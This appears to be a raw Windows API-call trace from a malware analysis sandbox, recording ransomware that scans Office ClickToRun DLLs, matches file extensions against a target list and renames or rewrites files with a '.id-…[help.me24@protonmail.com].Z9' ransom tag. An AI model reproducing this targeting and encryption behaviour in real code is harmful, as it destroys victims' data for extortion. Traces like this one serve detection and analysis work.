	[0088.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.615] lstrlenW (lpString=".doc") returned 4
	[0088.615] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.617] lstrlenW (lpString=".docx") returned 5
	[0088.617] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0088.617] lstrlenW (lpString=".pdf") returned 4
	[0088.617] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.617] lstrlenW (lpString=".xls") returned 4
	[0088.617] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.617] lstrlenW (lpString=".xlsx") returned 5
	[0088.617] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0088.617] lstrlenW (lpString=".ppt") returned 4
	[0088.617] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.617] lstrlenW (lpString=".zip") returned 4
	[0088.617] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.617] lstrlenW (lpString=".rar") returned 4
	[0088.617] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.617] lstrlenW (lpString=".bz2") returned 4
	[0088.618] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.618] lstrlenW (lpString=".7z") returned 3
	[0088.618] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.618] lstrlenW (lpString=".dbf") returned 4
	[0088.618] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.618] lstrlenW (lpString=".1cd") returned 4
	[0088.618] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.618] lstrlenW (lpString=".jpg") returned 4
	[0088.618] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.618] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0088.618] lstrlenW (lpString="mso40uires.dll") returned 14
	[0088.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0088.618] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3177152) returned 1
	[0088.618] CloseHandle (hObject=0x398) returned 1
	[0088.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20
	[0088.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0088.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.620] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1
	[0088.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.620] lstrlenW (lpString=".doc") returned 4
	[0088.620] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.620] lstrlenW (lpString=".docx") returned 5
	[0088.620] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0088.620] lstrlenW (lpString=".pdf") returned 4
	[0088.620] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.620] lstrlenW (lpString=".xls") returned 4
	[0088.620] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.620] lstrlenW (lpString=".xlsx") returned 5
	[0088.620] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0088.620] lstrlenW (lpString=".ppt") returned 4
	[0088.621] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.621] lstrlenW (lpString=".zip") returned 4
	[0088.621] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.621] lstrlenW (lpString=".rar") returned 4
	[0088.621] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.621] lstrlenW (lpString=".bz2") returned 4
	[0088.621] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.621] lstrlenW (lpString=".7z") returned 3
	[0088.621] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.621] lstrlenW (lpString=".dbf") returned 4
	[0088.621] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.621] lstrlenW (lpString=".1cd") returned 4
	[0088.621] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.621] lstrlenW (lpString=".jpg") returned 4
	[0088.621] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.621] lstrlenW (lpString=".doc") returned 4
	[0088.621] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.621] lstrlenW (lpString=".docx") returned 5
	[0088.621] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0088.621] lstrlenW (lpString=".pdf") returned 4
	[0088.621] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.621] lstrlenW (lpString=".xls") returned 4
	[0088.621] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.621] lstrlenW (lpString=".xlsx") returned 5
	[0088.621] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0088.621] lstrlenW (lpString=".ppt") returned 4
	[0088.621] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.622] lstrlenW (lpString=".zip") returned 4
	[0088.622] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.622] lstrlenW (lpString=".rar") returned 4
	[0088.622] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.622] lstrlenW (lpString=".bz2") returned 4
	[0088.622] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.622] lstrlenW (lpString=".7z") returned 3
	[0088.622] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.622] lstrlenW (lpString=".dbf") returned 4
	[0088.622] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.622] lstrlenW (lpString=".1cd") returned 4
	[0088.622] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0088.622] lstrlenW (lpString=".jpg") returned 4
	[0088.622] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.622] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0088.622] lstrlenW (lpString="mso40uiwin32client.dll") returned 22
	[0088.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0088.622] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=9330784) returned 1
	[0088.622] CloseHandle (hObject=0x398) returned 1
	[0088.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20
	[0088.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0088.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1
	[0088.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.624] lstrlenW (lpString=".doc") returned 4
	[0088.624] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.624] lstrlenW (lpString=".docx") returned 5
	[0088.624] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0088.624] lstrlenW (lpString=".pdf") returned 4
	[0088.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.624] lstrlenW (lpString=".xls") returned 4
	[0088.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.624] lstrlenW (lpString=".xlsx") returned 5
	[0088.624] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0088.624] lstrlenW (lpString=".ppt") returned 4
	[0088.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.624] lstrlenW (lpString=".zip") returned 4
	[0088.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.624] lstrlenW (lpString=".rar") returned 4
	[0088.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.625] lstrlenW (lpString=".bz2") returned 4
	[0088.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.625] lstrlenW (lpString=".7z") returned 3
	[0088.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.625] lstrlenW (lpString=".dbf") returned 4
	[0088.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.625] lstrlenW (lpString=".1cd") returned 4
	[0088.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.625] lstrlenW (lpString=".jpg") returned 4
	[0088.625] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.625] lstrlenW (lpString=".doc") returned 4
	[0088.625] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.625] lstrlenW (lpString=".docx") returned 5
	[0088.625] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0088.625] lstrlenW (lpString=".pdf") returned 4
	[0088.625] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.625] lstrlenW (lpString=".xls") returned 4
	[0088.625] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.625] lstrlenW (lpString=".xlsx") returned 5
	[0088.625] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0088.625] lstrlenW (lpString=".ppt") returned 4
	[0088.625] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.625] lstrlenW (lpString=".zip") returned 4
	[0088.625] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.625] lstrlenW (lpString=".rar") returned 4
	[0088.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.625] lstrlenW (lpString=".bz2") returned 4
	[0088.626] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.626] lstrlenW (lpString=".7z") returned 3
	[0088.626] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.626] lstrlenW (lpString=".dbf") returned 4
	[0088.626] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.626] lstrlenW (lpString=".1cd") returned 4
	[0088.626] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0088.626] lstrlenW (lpString=".jpg") returned 4
	[0088.626] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.626] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0088.626] lstrlenW (lpString="msointl30.en-us.dll") returned 19
	[0088.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0088.626] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=61024) returned 1
	[0088.626] CloseHandle (hObject=0x398) returned 1
	[0088.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20
	[0088.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0088.627] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.627] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0088.627] GetLastError () returned 0x0
	[0088.627] ReadFile (in: hFile=0x398, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0xee60, lpOverlapped=0x0) returned 1
	[0088.631] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xee70, lpOverlapped=0x0) returned 1
	[0088.633] ReadFile (in: hFile=0x398, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.633] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xfa, lpOverlapped=0x0) returned 1
	[0088.633] SetEndOfFile (hFile=0x360) returned 1
	[0088.633] CloseHandle (hObject=0x360) returned 1
	[0088.635] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.635] SetEndOfFile (hFile=0x398) returned 1
	[0088.636] CloseHandle (hObject=0x398) returned 1
	[0088.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.636] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.637] lstrlenW (lpString=".doc") returned 4
	[0088.637] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.637] lstrlenW (lpString=".docx") returned 5
	[0088.637] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0088.637] lstrlenW (lpString=".pdf") returned 4
	[0088.637] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.637] lstrlenW (lpString=".xls") returned 4
	[0088.637] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.637] lstrlenW (lpString=".xlsx") returned 5
	[0088.637] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0088.637] lstrlenW (lpString=".ppt") returned 4
	[0088.637] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.637] lstrlenW (lpString=".zip") returned 4
	[0088.637] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.637] lstrlenW (lpString=".rar") returned 4
	[0088.637] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.637] lstrlenW (lpString=".bz2") returned 4
	[0088.637] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.637] lstrlenW (lpString=".7z") returned 3
	[0088.637] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.637] lstrlenW (lpString=".dbf") returned 4
	[0088.637] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.637] lstrlenW (lpString=".1cd") returned 4
	[0088.637] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.637] lstrlenW (lpString=".jpg") returned 4
	[0088.637] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.638] lstrlenW (lpString=".doc") returned 4
	[0088.638] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.638] lstrlenW (lpString=".docx") returned 5
	[0088.638] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0088.638] lstrlenW (lpString=".pdf") returned 4
	[0088.638] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.638] lstrlenW (lpString=".xls") returned 4
	[0088.638] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.638] lstrlenW (lpString=".xlsx") returned 5
	[0088.638] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0088.638] lstrlenW (lpString=".ppt") returned 4
	[0088.638] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.638] lstrlenW (lpString=".zip") returned 4
	[0088.638] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.638] lstrlenW (lpString=".rar") returned 4
	[0088.638] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.638] lstrlenW (lpString=".bz2") returned 4
	[0088.638] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.638] lstrlenW (lpString=".7z") returned 3
	[0088.638] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.638] lstrlenW (lpString=".dbf") returned 4
	[0088.638] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.638] lstrlenW (lpString=".1cd") returned 4
	[0088.638] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0088.638] lstrlenW (lpString=".jpg") returned 4
	[0088.638] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.639] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0088.639] lstrlenW (lpString="msvcp120.dll") returned 12
	[0088.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0088.639] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=660136) returned 1
	[0088.639] CloseHandle (hObject=0x398) returned 1
	[0088.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20
	[0088.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
